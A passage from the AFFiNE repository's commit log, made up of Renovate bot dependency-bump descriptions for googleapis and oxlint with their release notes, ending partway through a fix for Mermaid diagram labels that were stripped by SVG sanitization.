([1190847](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/1190847e882070097b0ef0fc74f23c5f162ecd16))
- **binaryauthorization:** update the API
([a5ad874](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/a5ad874a862e827b55278bd56f25d6efbcc797c6))
- **blogger:** update the API
([285aa94](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/285aa9455d6afe92001fa4373c7a153124d9bf21))
- **books:** update the API
([b95f9af](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/b95f9aff24842b3e2132f74913fb794699ea55be))
- **businessprofileperformance:** update the API
([92abfea](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/92abfea3a06b9714b650f6846469a434ff9d8c71))
- **calendar:** update the API
([a040e6d](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/a040e6d6ccbb5efbebd09db5e452e586072afc71))
- **certificatemanager:** update the API
([32dd53e](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/32dd53e849a341afbd7f0f52548485167556f85d))
- **checks:** update the API
([37cb793](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/37cb793b61fbf605d4e94af20abbe6a75fab277d))
- **chromemanagement:** update the API
([2a9f611](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/2a9f611d836a86cb36e0288ee13818238fac9a02))
- **chromepolicy:** update the API
([5f2b01b](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/5f2b01b222e12e7719296d6dbc885aa8b029c47b))
- **chromeuxreport:** update the API
([c7af220](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/c7af220ffb1f7c5ee56a7e6ad0a87d9ff4c0e8a1))
- **civicinfo:** update the API
([74c8d7b](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/74c8d7be47d07654832eca7a82ff54ab727e556a))
- **classroom:** update the API
([2183745](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/2183745a478778c1009d91ab160f1546526c7746))
- **cloudbilling:** update the API
([f8baaac](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/f8baaac306d170b837cf2eb544edae932d13ed98))
- **cloudchannel:** update the API
([a65c068](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/a65c068d0595e90214d69be0ab74af66c80ad62d))
- **cloudcontrolspartner:** update the API
([5a7437b](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/5a7437badd218eb3b92544397baa440040d2f3a6))
- **clouderrorreporting:** update the API
([4c557f5](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/4c557f5a186799c1f4abe3b7afa3b1481f187b14))
- **cloudfunctions:** update the API
([fc21faf](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/fc21faf20d3f7a4a70c035cea20fc36082a247b9))
- **cloudidentity:** update the API
([3d288c6](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/3d288c674958a8ece72b1bb73764b9549b3cbc1c))
- **cloudkms:** update the API
([93e0687](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/93e06878abf84ad8b1df3f12ace0f067b1f25098))
- **cloudprofiler:** update the API
([d11e9e4](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/d11e9e41137ae8d062bd4ed084a350b0bde8d3c0))
- **cloudresourcemanager:** update the API
([76f0f51](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/76f0f511f97312e3aa7a41f14befa836ce44df55))
- **cloudscheduler:** update the API
([94305b7](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/94305b7da4ccfab0e63b613d6a7fcbe33864270d))
- **cloudsearch:** update the API
([e6de73d](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/e6de73da3a7cf1c269ef6017843ccf6fd078f154))
- **cloudshell:** update the API
([f399b75](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/f399b75d0d63674a28970f589aea6f01eab1577b))
- **cloudtasks:** update the API
([31dbbe2](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/31dbbe2439fabe0f0fc1b8f3377a305fee87c2c0))
- **cloudtrace:** update the API
([212d697](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/212d697a0e2654ba1bb8f2775bf039b57be3a6cd))
- **composer:** update the API
([75304a0](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/75304a070d61822ec87af425147acf2a3e72afdf))
- **config:** update the API
([07be765](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/07be7657dd18a230d4e2390f156263a98fdae02a))
- **containeranalysis:** update the API
([90afb7b](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/90afb7bddfde862f89ed2f599ca74bf8e2002e8c))
- **customsearch:** update the API
([dc6b156](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/dc6b156aaa9bcb1d45356db3c3a7058ed0720c04))
- **datacatalog:** update the API
([64c1abc](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/64c1abc7e78bbe9a213c1c696a83389ca1b8d313))
- **datafusion:** update the API
([6aff1d8](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/6aff1d8ecad16691a2b9d5ab4b5bfacf2680c8a0))
- **datalabeling:** update the API
([797471f](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/797471fb5f97302a1ab7f50587298aee650bf372))
- **datapipelines:** update the API
([e108596](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/e10859679756d3c1fe243ade7b4ff096d4057f7a))
- **dataproc:** update the API
([abbcb61](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/abbcb618952a5c365ef553b83f88bd4fc6a19c68))
- **datastore:** update the API
([fe99c43](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/fe99c436b00f3e0db1c048b6e1978c2c91eeaf75))
- **deploymentmanager:** update the API
([87fda2a](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/87fda2a3b88f81077ed5f18f52e0263644ba19cb))
- **dfareporting:** update the API
([4cec666](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/4cec666a18587527e4973548112080ccafaa9e37))
- **digitalassetlinks:** update the API
([abe8c25](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/abe8c25a24e1c1e521338d1ece3f8124c08ed686))
- **docs:** update the API
([5c28cc5](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/5c28cc5f90c3ec07902952673a54a9439aebaefe))
- **domainsrdap:** update the API
([f3678df](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/f3678df1b0f9621c9319be5c32b5c1ae0257409f))
- **doubleclicksearch:** update the API
([f6e9c9a](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/f6e9c9a07c6871be0b722532e09a1079fa2aa84d))
- **driveactivity:** update the API
([63563b6](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/63563b6d89ccdb8a778089c48a649d212ae41187))
- **drivelabels:** update the API
([44db39e](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/44db39ea335d5b3566c1f6a751f32eb159427c6a))
- **drive:** update the API
([5f88b3e](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/5f88b3e4deaa2aa30bc78df0e5c2e9e387e7d161))
- **essentialcontacts:** update the API
([6bc249f](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/6bc249f5d12c4975f3569ad735fe6b14875960a7))
- **fcmdata:** update the API
([da072ae](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/da072ae63e796156028c0b28863adfef9d1887b8))
- **fcm:** update the API
([c2043ed](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/c2043ed711270a5e38a0842b539898e9d289f436))
- **file:** update the API
([4bbf0b9](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/4bbf0b92661f5ea47f09eefecf48238ab13980f1))
- **firebaseappcheck:** update the API
([851d463](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/851d4639bf75850c4ab88c1dad4dfd9166f9801b))
- **firebaseappdistribution:** update the API
([96163b7](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/96163b73f732144c3da840b18d6a55aac62d6081))
- **firebasedatabase:** update the API
([3d96170](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/3d96170cc795827c84a53e0c3d0de526a12b9d95))
- **firebasedynamiclinks:** update the API
([1122f63](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/1122f63e79402abe5be53a38334c565ca883ad18))
- **firebasehosting:** update the API
([6abce84](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/6abce84cf7567d906dc94c64700c8bc42c55de4a))
- **firebaseml:** update the API
([eef0dfe](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/eef0dfe82ab1c082959cdb168d9c8e438b98606b))
- **firebaserules:** update the API
([d02b49c](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/d02b49c84908b0757a6525665b9451092c0ee3dd))
- **firebasestorage:** update the API
([b303956](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/b303956d395587471344b89bf546068d89b6b1a8))
- **firebase:** update the API
([38f0247](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/38f024730891a3e566ac49a18dd2786768f8fe10))
- **fitness:** update the API
([bd72df1](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/bd72df18aba9c830b788a5ac4fd260ba693ce31d))
- **forms:** update the API
([e06cd96](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/e06cd96538ce8a44d850c8cc29aabcdf0b180ab9))
- **gamesConfiguration:** update the API
([b26b164](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/b26b16406b25d2cc66aeb21bbb4eb7d366c4f6ac))
- **gamesManagement:** update the API
([c056dbb](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/c056dbb47b86bf807f7a536281f4ec9f715b1b3b))
- **gkeonprem:** update the API
([50b340a](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/50b340ab8c56308486f8f47f15cf76c010300137))
- **gmailpostmastertools:** update the API
([2d1dd45](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/2d1dd456fd959314d4dfdd5066f32304ca6534a4))
- **groupsmigration:** update the API
([2d5dfc8](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/2d5dfc87a79567d6c65713279d9e169f791edd15))
- **groupssettings:** update the API
([81f7c45](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/81f7c4560d45065ccd96c24d05094c7b5de59580))
- **healthcare:** update the API
([4dcb153](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/4dcb1532b818deed3e14b43d2e42de87d68a71ab))
- **homegraph:** update the API
([709f585](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/709f58538c74d97ac0508b3d5fd6518502401614))
- **iamcredentials:** update the API
([0610412](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/06104128540bdc9565a0cd8cdb812aafe4025ba2))
- **identitytoolkit:** update the API
([99534fb](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/99534fba8b394219448155ab565154cfa5710b15))
- **ids:** update the API
([5ad0d0b](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/5ad0d0ba7b827d5b24e69baa8ec6fb6aff738d2f))
- **indexing:** update the API
([3c4e15a](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/3c4e15a098c8cfaa8ac116046553bac0ca1cd7cb))
- **jobs:** update the API
([7687e7b](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/7687e7b88acbf1c0803bb9490593839728e013e5))
- **kgsearch:** update the API
([5a54be2](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/5a54be26f5328c9a0b167cc06e4026358e1970df))
- **kmsinventory:** update the API
([3ac181b](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/3ac181bbd6283099b1ea29b1371c61eb0e211773))
- **language:** update the API
([91caf34](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/91caf3471150689b54fa2a51cde93de44c595df7))
- **libraryagent:** update the API
([50b72ef](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/50b72ef609e5c9058b5a03ed5aaa1b5062e4bf47))
- **licensing:** update the API
([b6f27e9](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/b6f27e942a89e4597e1c212a700b26f51ddb7bf9))
- **lifesciences:** update the API
([fcc9aae](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/fcc9aaec76f6e1075e520b75118a9ca77a596dfb))
- **localservices:** update the API
([ca0c8d7](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/ca0c8d7c7409cccbdf436d539119f093d3f62eec))
- **looker:** update the API
([0c067fa](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/0c067fa5944b446b3b6766b57aec7ab646f08ba1))
- **managedidentities:** update the API
([1f430c5](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/1f430c5ffd6aa522f4d99978a3a719918295a231))
- **manufacturers:** update the API
([d55ac4f](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/d55ac4f151d006e4d975eede60e491877a706a93))
- **memcache:** update the API
([39c011c](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/39c011c3681af3e906b370080a2ca8a6caf83fa0))
- **ml:** update the API
([bf42196](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/bf421969326b70fae5d4c6cddc432546004ec0f0))
- **mybusinessaccountmanagement:** update the API
([ce386e4](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/ce386e47e08737a2252203bc30d39229d9be595a))
- **mybusinessbusinessinformation:** update the API
([cdaeb3b](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/cdaeb3bc7d8a80dfee13dd0de6dbc5a6f93f5c7c))
- **mybusinesslodging:** update the API
([34eda38](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/34eda38c76099f2aa6b906505fb7f2b33c43cf26))
- **mybusinessnotifications:** update the API
([ae38037](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/ae38037c11139e45813fd0306e3357129b036e1d))
- **mybusinessplaceactions:** update the API
([c9f5ea0](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/c9f5ea0ebe9ee56b0c600367122f2f833fc82d33))
- **mybusinessqanda:** update the API
([9d43c1e](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/9d43c1e6ee4654d8bfff86aa44eee91c212e2aef))
- **mybusinessverifications:** update the API
([60bdbd2](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/60bdbd229b5a25345953be1eff11813b10840902))
- **networksecurity:** update the API
([b4ab725](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/b4ab7254926c2a80445481f490eb9738a7399f93))
- **networkservices:** update the API
([0cf9456](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/0cf9456b33165b03510406f5173f875aa67b15c8))
- **notebooks:** update the API
([71b9980](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/71b99805f4a3b99585c09a1b5442e2e43be45d13))
- **oauth2:** update the API
([db72d5d](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/db72d5d788e26b83dac6603dd0c66280e48643fe))
- **osconfig:** update the API
([fc51160](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/fc5116090ac8e177af2cfe17ed5bb938d1f27470))
- **oslogin:** update the API
([d814cb9](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/d814cb920dcb533086161c1e8cba819aa36b7c6d))
- **pagespeedonline:** update the API
([ea4b6e3](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/ea4b6e327902369d129eab3b4433509d3e488c36))
- **people:** update the API
([d2f704e](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/d2f704e98cef30bc42636f7aa866bd0a2b586f20))
- **places:** update the API
([7dd5993](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/7dd5993f4d5adbfd6eeed73bad1c066594fa8ffe))
- **playcustomapp:** update the API
([301c3ad](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/301c3adda469b043a7d0c632fb6b41f06c918a78))
- **playdeveloperreporting:** update the API
([7e73906](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/7e7390622559837e06f16e7303d286eedf2a58ed))
- **playgrouping:** update the API
([9753005](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/9753005a61f6aeaab0e433f2691b635508721923))
- **playintegrity:** update the API
([78dfca2](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/78dfca25343031a78ba17ce5a9f84b4b449ff3c3))
- **policyanalyzer:** update the API
([703ab7b](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/703ab7bcbcd642386a483f5a70056a41b73f40ce))
- **policysimulator:** update the API
([4a7be29](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/4a7be29e56b02985916e9a5e0563f4c447980134))
- **policytroubleshooter:** update the API
([a556194](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/a556194c602dd8f577f043908a7647667c6ac3f4))
- **poly:** update the API
([12d5e41](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/12d5e413c9db34fc5c1c34ab4773499c5f8c9c3b))
- **prod\_tt\_sasportal:** update the API
([5dfac38](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/5dfac38e84b1d21146a9fecd9ead4a04d81e19f8))
- **publicca:** update the API
([e7906c5](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/e7906c5b474e2303a50a91dd15b3c0ca37ffbff8))
- **pubsublite:** update the API
([f06ab43](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/f06ab430e6095263623df08ac0ff727c9ec9c332))
- **rapidmigrationassessment:** update the API
([3fe4f53](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/3fe4f53ee08c594ac96fbe126918d555910d962a))
- **readerrevenuesubscriptionlinking:** update the API
([c2996fa](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/c2996fac1a3f5c48fa0a0be9fa2b8b070f0e0a66))
- **realtimebidding:** update the API
([e05daef](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/e05daefcd22ec574a00043ba5dbc13e7097b9970))
- **recommendationengine:** update the API
([7b4553c](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/7b4553c671f92881f12ca6b0c6d13b9897cff259))
- **recommender:** update the API
([827d7fc](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/827d7fcf0b01ee4bb097d0e9b258dacfd903d4de))
- **reseller:** update the API
([3b0d62c](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/3b0d62ce52be031269cc38d461464fde58015af4))
- **resourcesettings:** update the API
([b499612](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/b49961200508406ed5dc860b66d671a1598026b0))
- **runtimeconfig:** update the API
([f4f60c4](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/f4f60c410d6d7a39d585a3f9711bd1e398cf1d42))
- **safebrowsing:** update the API
([ec3ca1a](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/ec3ca1abec9b9a90efafba0840ad34bcaf28a24c))
- **sasportal:** update the API
([a6a96bc](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/a6a96bc8ee62e20c1dd078e8074b07ea523a58fd))
- **script:** update the API
([582352f](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/582352f283013f76babffc3f34de45aff10fb44e))
- **searchconsole:** update the API
([25ad1ff](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/25ad1ff213231bf47f909b48349a356b14d5dac6))
- **secretmanager:** update the API
([0d6d936](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/0d6d93683ed834ad4414635c8408d1cbacda2c54))
- **servicedirectory:** update the API
([a550687](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/a55068740ecafc29a193fe17a0d207e9becfdcac))
- **servicemanagement:** update the API
([74cb0a2](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/74cb0a2a62c6b29337808ad6fef57daf5c5afed5))
- **siteVerification:** update the API
([a0d8969](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/a0d896969a6635f013a428cc58519075e58f7cfc))
- **slides:** update the API
([3e4be4b](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/3e4be4b9af47252b6b59de71255b08b2643f63df))
- **smartdevicemanagement:** update the API
([6ec4bd9](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/6ec4bd90d316f93cd12000ae76feb395c327100e))
- **solar:** update the API
([4377037](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/4377037197348f7908f9c0a5937d2acd938ba2e5))
- **sourcerepo:** update the API
([0889507](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/088950701aeffc7aa8e6f2f17f955023e05494e1))
- **speech:** update the API
([504c8d0](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/504c8d07f3a9363908cdee44b31294d97087956d))
- **storagetransfer:** update the API
([aee9c44](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/aee9c449cf7b6592a91674d8acf83c3f24089b87))
- **storage:** update the API
([cd03772](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/cd037720cda614720bef7852812b1eb99d86d25f))
- **streetviewpublish:** update the API
([3a0401c](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/3a0401c216fd3c4bc8c11913572cf4f628df4813))
- **sts:** update the API
([bce176a](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/bce176a17c9e5ff821d2e6a058720f9f744e18b4))
- **tagmanager:** update the API
([594c354](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/594c354031bb89976ac2b46054c2e0cf6bcd3ed0))
- **tasks:** update the API
([4203139](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/4203139d06bd3b8487d1d0e2d29b92ba7d9a6975))
- **testing:** update the API
([5d373cc](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/5d373cc08c089156b7ca26d52fd51c059e5c1227))
- **texttospeech:** update the API
([366a3fc](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/366a3fc5e1e88c28e0500dbd72970b52bfa442e0))
- **toolresults:** update the API
([ad28679](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/ad28679c983fdc6df90a2cfa73175f7d6f41c741))
- **transcoder:** update the API
([1799ca0](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/1799ca0e2b6c03a21e2dfecfcdd20efaf866222f))
- **translate:** update the API
([6ef599c](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/6ef599c831d7a797b797faf3736ac6514d6bf5c0))
- **travelimpactmodel:** update the API
([be498cd](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/be498cde964258f31edd0d32e5032555b4bf0211))
- **vault:** update the API
([cb9bc44](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/cb9bc4432053217aa68d18b283d55a4ca553617f))
- **versionhistory:** update the API
([0e4d78e](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/0e4d78e3b4fdd766a38662bd270453080efd804d))
- **videointelligence:** update the API
([8139c6a](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/8139c6a6a353c42b878ba2c5751071ecaa06eff0))
- **vision:** update the API
([c6585c7](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/c6585c79b039060193405d68e865552f579dae19))
- **vmmigration:** update the API
([2664ee2](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/2664ee2f9c1f01d51d8545f4cab82535fac59846))
- **vmwareengine:** update the API
([fcdd0d9](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/fcdd0d9cc42e7e7b34ec2b431f94043cde95b8e3))
- **vpcaccess:** update the API
([fe1b7f5](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/fe1b7f52025c36cd63df1b874d1303ab8e13abab))
- **walletobjects:** update the API
([58fe19c](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/58fe19cf6606af287f80afa88f6846a0df9a23c6))
- **webfonts:** update the API
([bd5115d](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/bd5115dbc9c1bdb337f078cfac36bbc5143e41de))
- **webrisk:** update the API
([e227c8e](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/e227c8ed85845dfaf4aa51b0dd727d53a1a5f9cc))
- **websecurityscanner:** update the API
([3e1d63b](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/3e1d63b7ab93ca294ec0c983851321bc2fb85338))
- **workflowexecutions:** update the API
([3329041](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/3329041d025edb6a14756e9f15324f6265e7a1e2))
- **workflows:** update the API
([b75aa48](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/b75aa48a774260202f951f0b0b45255c8b346d69))
- **workspaceevents:** update the API
([78acf6b](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/78acf6bdcb0197c34bc4f7950ed4bf351d386b59))
- **youtubeAnalytics:** update the API
([5fdf519](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/5fdf519aebe3d4dfaa7fd477d1121dbc9bd1280f))
- **youtubereporting:** update the API
([87c5dcc](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/87c5dcc04c98a5defa4a271125cd5a248eca800a))

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yMDYuMSIsInVwZGF0ZWRJblZlciI6IjQzLjIwNi4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-06-03 16:41:39 +08:00
renovate[bot] f98688f6c7 chore: bump up oxlint to v1.68.0 (#15071)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [oxlint](https://oxc.rs/docs/guide/usage/linter)
([source](https://redirect.github.com/oxc-project/oxc/tree/HEAD/npm/oxlint))
| [`1.67.0` →
`1.68.0`](https://renovatebot.com/diffs/npm/oxlint/1.67.0/1.68.0) |
![age](https://developer.mend.io/api/mc/badges/age/npm/oxlint/1.68.0?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/oxlint/1.67.0/1.68.0?slim=true)
|

---

### Release Notes

<details>
<summary>oxc-project/oxc (oxlint)</summary>

###
[`v1.68.0`](https://redirect.github.com/oxc-project/oxc/blob/HEAD/npm/oxlint/CHANGELOG.md#1680---2026-06-01)

[Compare
Source](https://redirect.github.com/oxc-project/oxc/compare/oxlint_v1.67.0...oxlint_v1.68.0)

##### 🚀 Features

-
[`e4b1f46`](https://redirect.github.com/oxc-project/oxc/commit/e4b1f46)
linter/typescript: Implement `method-signature-style` rule
([#&#8203;22679](https://redirect.github.com/oxc-project/oxc/issues/22679))
(Mikhail Baev)
-
[`bc462ca`](https://redirect.github.com/oxc-project/oxc/commit/bc462ca)
linter/vue: Implement no-reserved-component-names rule
([#&#8203;22741](https://redirect.github.com/oxc-project/oxc/issues/22741))
(bab)
-
[`ef9e751`](https://redirect.github.com/oxc-project/oxc/commit/ef9e751)
linter/vue: Implement component-definition-name-casing rule
([#&#8203;22818](https://redirect.github.com/oxc-project/oxc/issues/22818))
(bab)
-
[`d67f51a`](https://redirect.github.com/oxc-project/oxc/commit/d67f51a)
linter/vue: Implement require-prop-type-constructor rule
([#&#8203;22708](https://redirect.github.com/oxc-project/oxc/issues/22708))
(bab)
-
[`8422e8b`](https://redirect.github.com/oxc-project/oxc/commit/8422e8b)
linter/jsdoc: Implement `require-yields-description` rule
([#&#8203;22805](https://redirect.github.com/oxc-project/oxc/issues/22805))
(Mikhail Baev)
-
[`fe93f97`](https://redirect.github.com/oxc-project/oxc/commit/fe93f97)
linter/eslint: Implement `prefer-named-capture-group` rule
([#&#8203;22759](https://redirect.github.com/oxc-project/oxc/issues/22759))
(Sebastian Poxhofer)

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yMDkuMCIsInVwZGF0ZWRJblZlciI6IjQzLjIwOS4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-06-03 16:21:02 +08:00
Ahsan Khaleeq 37ffef76a4 fix(core): restore Mermaid preview labels and theme-aware contrast (#15073)
fix #14979 
[Bug]: mermaid transparent text in light theme

## Summary

Mermaid diagram preview in code blocks showed shapes and connectors but
no node or edge labels, with poor contrast in dark mode. This change
fixes rendering, sanitization, and display so labels are visible in both
light and dark themes.

## Root cause

1. **Mermaid 11 config** — `flowchart.htmlLabels: false` is ignored;
only root-level `htmlLabels` applies. Labels were still emitted in
`<foreignObject>`.
2. **SVG sanitization** — `sanitizeSvg()` removed all `foreignObject`
elements (and did not allow `<use>`), stripping most label content.
3. **Theme mismatch** — Preview always used Mermaid’s light `default`
theme while the preview panel follows AFFiNE light/dark, causing dark
